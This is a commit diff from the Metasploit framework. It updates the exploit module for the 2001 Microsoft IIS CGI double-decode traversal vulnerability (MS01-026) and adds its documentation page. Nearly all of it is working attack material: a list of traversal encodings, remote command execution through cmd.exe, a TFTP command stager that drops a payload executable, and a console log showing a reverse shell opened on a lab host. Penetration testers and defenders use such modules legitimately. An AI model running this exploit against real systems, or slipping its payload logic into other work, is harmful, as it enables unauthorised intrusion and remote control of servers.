ms01_026_dbldecode: Use HttpClient; remove meterpreter code; fix stager
This commit is contained in:
@@ -0,0 +1,71 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will execute an arbitrary payload on a Microsoft IIS installation
|
||||
that is vulnerable to the CGI double-decode vulnerability of 2001.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Windows 2000 Professional (SP0) (EN)
|
||||
* Windows 2000 Professional (SP1) (AR)
|
||||
* Windows 2000 Professional (SP1) (CZ)
|
||||
* Windows 2000 Server (SP0) (FR)
|
||||
* Windows 2000 Server (SP1) (EN)
|
||||
* Windows 2000 Server (SP1) (SE)
|
||||
|
||||
Note: This module will leave a Metasploit payload in the IIS scripts directory.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/windows/iis/ms01_026_dbldecode`
|
||||
1. `set RHOSTS [IP]`
|
||||
1. `set PAYLOAD windows/shell/reverse_tcp`
|
||||
1. `set LHOST [IP]`
|
||||
1. `run`
|
||||
|
||||
## Options
|
||||
|
||||
### WINDIR
|
||||
|
||||
The Windows directory name of the target host.
|
||||
The directory name will be detected automatically if not set.
|
||||
|
||||
### DEPTH
|
||||
|
||||
Traversal depth to reach the drive root (default: `2`)
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 2000 Server (SP0) (FR)
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/iis/ms01_026_dbldecode
|
||||
[*] Using configured payload windows/shell/reverse_tcp
|
||||
msf6 exploit(windows/iis/ms01_026_dbldecode) > set rhosts 192.168.200.175
|
||||
rhosts => 192.168.200.175
|
||||
msf6 exploit(windows/iis/ms01_026_dbldecode) > check
|
||||
[+] 192.168.200.175:80 - The target is vulnerable. Found Windows directory name: winnt
|
||||
msf6 exploit(windows/iis/ms01_026_dbldecode) > set lhost 192.168.200.130
|
||||
lhost => 192.168.200.130
|
||||
msf6 exploit(windows/iis/ms01_026_dbldecode) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.130:4444
|
||||
[*] Using Windows directory "winnt"
|
||||
[*] Copying "\winnt\system32\cmd.exe" to the IIS scripts directory as "EcFJ.exe"...
|
||||
[*] Command Stager progress - 66.67% done (40/60 bytes)
|
||||
[*] Command Stager progress - 100.00% done (60/60 bytes)
|
||||
[*] Triggering payload "qQErEZeB.exe" via a direct request...
|
||||
[*] Encoded stage with x86/shikata_ga_nai
|
||||
[*] Sending encoded stage (267 bytes) to 192.168.200.175
|
||||
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.175:1090) at 2022-06-28 08:34:32 -0400
|
||||
[!] This exploit may require manual cleanup of 'qQErEZeB.exe' on the target
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
-----
|
||||
|
||||
|
||||
c:\inetpub\scripts>hostname
|
||||
hostname
|
||||
win2k-srv-fr
|
||||
```
|
||||
@@ -2,15 +2,13 @@
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
require 'rex/exploitation'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
# NOTE: This cannot be an HttpClient module since the response from the server
|
||||
# is not a valid HttpResponse
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
@@ -21,7 +19,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
This module will execute an arbitrary payload on a Microsoft IIS installation
|
||||
that is vulnerable to the CGI double-decode vulnerability of 2001.
|
||||
|
||||
NOTE: This module will leave a metasploit payload in the IIS scripts directory.
|
||||
This module has been tested successfully on:
|
||||
|
||||
Windows 2000 Professional (SP0) (EN);
|
||||
Windows 2000 Professional (SP1) (AR);
|
||||
Windows 2000 Professional (SP1) (CZ);
|
||||
Windows 2000 Server (SP0) (FR);
|
||||
Windows 2000 Server (SP1) (EN); and
|
||||
Windows 2000 Server (SP1) (SE).
|
||||
|
||||
Note: This module will leave a Metasploit payload exe in the IIS scripts directory.
|
||||
},
|
||||
'Author' => [ 'jduck' ],
|
||||
'License' => MSF_LICENSE,
|
||||
@@ -34,27 +41,41 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' => [
|
||||
[ 'Automatic', {} ]
|
||||
[
|
||||
'Windows (Dropper)',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86],
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'windows/shell/reverse_tcp' },
|
||||
'Type' => :win_dropper
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows (Command)',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic' },
|
||||
'Type' => :win_command
|
||||
}
|
||||
]
|
||||
],
|
||||
'CmdStagerFlavor' => 'tftp',
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2001-05-15',
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
'Commands' => %w[
|
||||
stdapi_fs_delete_file
|
||||
stdapi_sys_process_execute
|
||||
]
|
||||
}
|
||||
}
|
||||
'DisclosureDate' => '2001-05-15'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('WINDIR', [ false, 'The windows directory of the target host', nil ]),
|
||||
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ])
|
||||
OptString.new('WINDIR', [ false, 'The Windows directory name of the target host', nil ]),
|
||||
OptInt.new('DEPTH', [ true, 'Traversal depth to reach the drive root', 2 ])
|
||||
]
|
||||
)
|
||||
|
||||
@@ -62,181 +83,126 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def dotdotslash
|
||||
possibilities = [
|
||||
"..%255c",
|
||||
"..%%35c",
|
||||
"..%%35%63",
|
||||
"..%25%35%63",
|
||||
".%252e/",
|
||||
"%252e./",
|
||||
"%%32%65./",
|
||||
".%%32%65/",
|
||||
".%25%32%65/",
|
||||
"%25%32%65./"
|
||||
]
|
||||
possibilities[rand(possibilities.length)]
|
||||
[
|
||||
'..%255c',
|
||||
'..%%35c',
|
||||
'..%%35%63',
|
||||
'..%25%35%63',
|
||||
'.%252e/',
|
||||
'%252e./',
|
||||
'%%32%65./',
|
||||
'.%%32%65/',
|
||||
'.%25%32%65/',
|
||||
'%25%32%65./'
|
||||
].sample
|
||||
end
|
||||
|
||||
def mini_http_request(opts, timeout = 5)
|
||||
connect
|
||||
req = ''
|
||||
req << opts['method']
|
||||
req << ' '
|
||||
req << opts['uri']
|
||||
req << ' '
|
||||
req << "HTTP/1.0\r\n"
|
||||
req << "Host: #{datastore['RHOST']}\r\n"
|
||||
req << "\r\n"
|
||||
sock.put(req)
|
||||
# Detect the correct Windows directory name.
|
||||
# Unfortunately, the IIS scripts directory must
|
||||
# be located on the same drive as %SystemRoot%.
|
||||
def detect_windows_directory
|
||||
win_dirs = %w[winnt windows]
|
||||
matches = [
|
||||
'Directory of',
|
||||
'\\inetpub\\',
|
||||
"\\scripts\r\n"
|
||||
]
|
||||
|
||||
# This isn't exactly awesome, but it seems to work..
|
||||
begin
|
||||
headers = sock.get_once(-1, timeout) || ''
|
||||
body = sock.get_once(-1, timeout) || ''
|
||||
rescue ::EOFError
|
||||
# nothing
|
||||
win_dirs.each do |dir|
|
||||
res = execute_command('dir', windir: dir)
|
||||
next unless res
|
||||
next unless res.code == 200
|
||||
next unless res.body
|
||||
|
||||
matches.each do |m|
|
||||
return dir if res.body.to_s.include?(m)
|
||||
end
|
||||
end
|
||||
|
||||
disconnect
|
||||
[headers, body]
|
||||
end
|
||||
|
||||
def detect_windows_dir()
|
||||
win_dirs = [ 'winnt', 'windows' ]
|
||||
win_dirs.each { |dir|
|
||||
res = execute_command("dir", { :windir => dir })
|
||||
if (res.kind_of?(Array))
|
||||
body = res[1]
|
||||
if (body and body =~ /Directory of /)
|
||||
return dir
|
||||
end
|
||||
end
|
||||
}
|
||||
return nil
|
||||
nil
|
||||
end
|
||||
|
||||
def check
|
||||
@win_dir = detect_windows_dir()
|
||||
if @win_dir
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
win_dir = detect_windows_directory
|
||||
win_dir ? CheckCode::Vulnerable("Found Windows directory name: #{win_dir}") : CheckCode::Safe
|
||||
end
|
||||
|
||||
#
|
||||
# NOTE: the command executes regardless of whether or not
|
||||
# a valid response is returned...
|
||||
#
|
||||
def execute_command(cmd, opts = {})
|
||||
# Don't try the start command...
|
||||
# Using the "start" method doesn't seem to make iis very happy :(
|
||||
return [nil, nil] if cmd =~ /^start [a-zA-Z]+\.exe$/
|
||||
# Don't run the start command...
|
||||
# We'll execute the payload via IIS later.
|
||||
# Using the "start" method doesn't seem to make IIS very happy :(
|
||||
return if cmd.start_with?('start') && cmd.include?('.exe')
|
||||
|
||||
print_status("Executing command: #{cmd} (options: #{opts.inspect})")
|
||||
|
||||
uri = '/scripts/'
|
||||
exe = opts[:cgifname]
|
||||
if (not exe)
|
||||
uri << dotdotslash
|
||||
uri << dotdotslash
|
||||
uri << (opts[:windir] || @win_dir)
|
||||
uri << '/system32/cmd.exe'
|
||||
vprint_status("Executing command: #{cmd}")
|
||||
if opts[:cgifname]
|
||||
cmd_path = opts[:cgifname]
|
||||
else
|
||||
uri << exe
|
||||
cmd_path = ''
|
||||
datastore['DEPTH'].times { cmd_path << dotdotslash }
|
||||
cmd_path << (opts[:windir] || @win_dir)
|
||||
cmd_path << '/system32/cmd.exe'
|
||||
end
|
||||
uri << '?/x+/c+'
|
||||
uri << Rex::Text.uri_encode(cmd)
|
||||
uri = "/scripts/#{cmd_path}?/x+/c+#{Rex::Text.uri_encode(cmd)}"
|
||||
send_request_cgi({ 'uri' => uri }, 20)
|
||||
end
|
||||
|
||||
vprint_status("Attempting to execute: #{uri}")
|
||||
|
||||
mini_http_request({
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
}, 20)
|
||||
def copy_cmd_exe_to_scripts_directory
|
||||
fname = "#{rand_text_alphanumeric(4..7)}.exe"
|
||||
print_status("Copying \"\\#{@win_dir}\\system32\\cmd.exe\" to the IIS scripts directory as \"#{fname}\"...")
|
||||
res = execute_command("copy \\#{@win_dir}\\system32\\cmd.exe #{fname}")
|
||||
fail_with(Failure::Unknown, 'No reply from server') unless res
|
||||
fname
|
||||
end
|
||||
|
||||
def exploit
|
||||
@win_dir = datastore['WINDIR']
|
||||
if not @win_dir
|
||||
# try to detect the windows directory
|
||||
@win_dir = detect_windows_dir()
|
||||
if not @win_dir
|
||||
fail_with(Failure::NoTarget, "Unable to detect the target host windows directory (maybe not vulnerable)!")
|
||||
end
|
||||
end
|
||||
print_status("Using windows directory \"#{@win_dir}\"")
|
||||
@win_dir = datastore['WINDIR'] || detect_windows_directory
|
||||
|
||||
# now copy the file
|
||||
exe_fname = rand_text_alphanumeric(4 + rand(4)) + ".exe"
|
||||
print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
|
||||
# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
|
||||
# Unfortunately, using %SystemRoot% doesn't seem to work :(
|
||||
res = execute_command("copy \\#{@win_dir}\\system32\\cmd.exe #{exe_fname}")
|
||||
fail_with(Failure::NotVulnerable, 'Unable to detect the target host Windows directory (maybe not vulnerable)!') unless @win_dir
|
||||
|
||||
if (datastore['CMD'])
|
||||
res = execute_command(datastore['CMD'], { :cgifname => exe_fname })
|
||||
if (res[0])
|
||||
print_status("Command output:\n" + res[0])
|
||||
print_status("Using Windows directory \"#{@win_dir}\"")
|
||||
|
||||
@cmd_exe_fname = copy_cmd_exe_to_scripts_directory
|
||||
|
||||
case target['Type']
|
||||
when :win_command
|
||||
res = execute_command(payload.encoded, cgifname: @cmd_exe_fname)
|
||||
|
||||
if res && res.body
|
||||
cmd_res = res.code == 200 ? res.body : res.body.to_s.scan(%r{<pre>(.*?)</pre>}m).flatten.first.to_s
|
||||
if cmd_res.strip.blank?
|
||||
print_status('Command returned no output')
|
||||
else
|
||||
print_good('Command output:')
|
||||
print_line(cmd_res)
|
||||
end
|
||||
else
|
||||
print_error("No output received")
|
||||
print_error('No reply')
|
||||
end
|
||||
when :win_dropper
|
||||
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
execute_cmdstager(
|
||||
temp: '.',
|
||||
linemax: 1_400,
|
||||
cgifname: @cmd_exe_fname,
|
||||
tftphost: tftphost,
|
||||
# Force noconcat so we can skip the "start" command in execute_command method
|
||||
noconcat: true,
|
||||
# We can't delete the payload while it is running, so don't try
|
||||
nodelete: true
|
||||
)
|
||||
|
||||
res = execute_command("del #{exe_fname}")
|
||||
return
|
||||
exe_payload = stager_instance.payload_exe
|
||||
register_file_for_cleanup(exe_payload)
|
||||
|
||||
print_status("Triggering payload \"#{exe_payload}\" via a direct request...")
|
||||
send_request_cgi({ 'uri' => "/scripts/#{exe_payload}" }, 1)
|
||||
end
|
||||
|
||||
# Use the CMD stager to get a payload running
|
||||
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })
|
||||
|
||||
# Save these file names for later deletion
|
||||
@exe_cmd_copy = exe_fname
|
||||
@exe_payload = stager_instance.payload_exe
|
||||
|
||||
# Just for good measure, we'll make a quick, direct request for the payload
|
||||
# Using the "start" method doesn't seem to make iis very happy :(
|
||||
print_status("Triggering the payload via a direct request...")
|
||||
mini_http_request({ 'uri' => '/scripts/' + stager_instance.payload_exe, 'method' => 'GET' }, 1)
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
#
|
||||
# The following handles deleting the copied cmd.exe and payload exe!
|
||||
#
|
||||
def on_new_session(client)
|
||||
if client.type != "meterpreter"
|
||||
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
|
||||
print_error("The copied exe and the payload exe must be removed manually.")
|
||||
return
|
||||
end
|
||||
|
||||
return if not @exe_cmd_copy
|
||||
|
||||
# stdapi must be loaded before we can use fs.file
|
||||
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||
|
||||
# Delete the copied CMD.exe
|
||||
print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")
|
||||
client.fs.file.rm(@exe_cmd_copy)
|
||||
|
||||
# Migrate so that we can delete the payload exe
|
||||
client.console.run_single("run migrate -f")
|
||||
|
||||
# Delete the payload exe
|
||||
return if not @exe_payload
|
||||
|
||||
delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload
|
||||
|
||||
print_status("Changing permissions on #{delete_me_too} ...")
|
||||
cmd = "C:\\#{@win_dir}\\system32\\attrib.exe -r -h -s " + delete_me_too
|
||||
client.sys.process.execute(cmd, nil, { 'Hidden' => true })
|
||||
|
||||
print_warning("Deleting #{delete_me_too} ...")
|
||||
begin
|
||||
client.fs.file.rm(delete_me_too)
|
||||
rescue ::Exception => e
|
||||
print_error("Exception: #{e.inspect}")
|
||||
end
|
||||
# Remove the copied cmd.exe from the IIS scripts directory
|
||||
def cleanup
|
||||
execute_command("del #{@cmd_exe_fname}") if @cmd_exe_fname
|
||||
ensure
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user